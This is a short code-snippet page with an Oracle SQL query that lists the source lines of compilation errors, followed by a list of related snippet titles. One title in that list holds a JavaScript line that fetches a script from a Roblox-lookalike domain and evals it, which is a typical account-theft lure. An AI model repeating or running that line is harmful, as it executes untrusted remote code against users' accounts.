Oracle error compilation line

SELECT to_char(a.LINE) || ' - ' || a.TEXT ERROR
FROM ALL_SOURCE a,
     ALL_ERRORS b
WHERE a.NAME = 'object_name'
  AND a.NAME = b.NAME
  AND a.TYPE = b.TYPE
  AND a.LINE = b.LINE
ORDER BY a.NAME, a.LINE;

Similar codes

4 votes237 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
5 votes276 views1 answer
Oracle sysdate - 1 month
SQL
0 vote273 views1 answer
Delete first row in sql
SQL
9 votes284 views4 answers
Postgresql export database
SQL
0 vote283 views1 answer
How to add a Try/Catch to SQL Stored Procedure
SQL
5 votes266 views3 answers
Oracle list columns in schema
SQL
0 vote276 views1 answer
Groupby sort sql hive
SQL
1 vote277 views3 answers
Get all tables postgres
SQL
11 votes289 views1 answer
Ddl view
SQL
-1 vote236 views2 answers
Sql query examples
SQL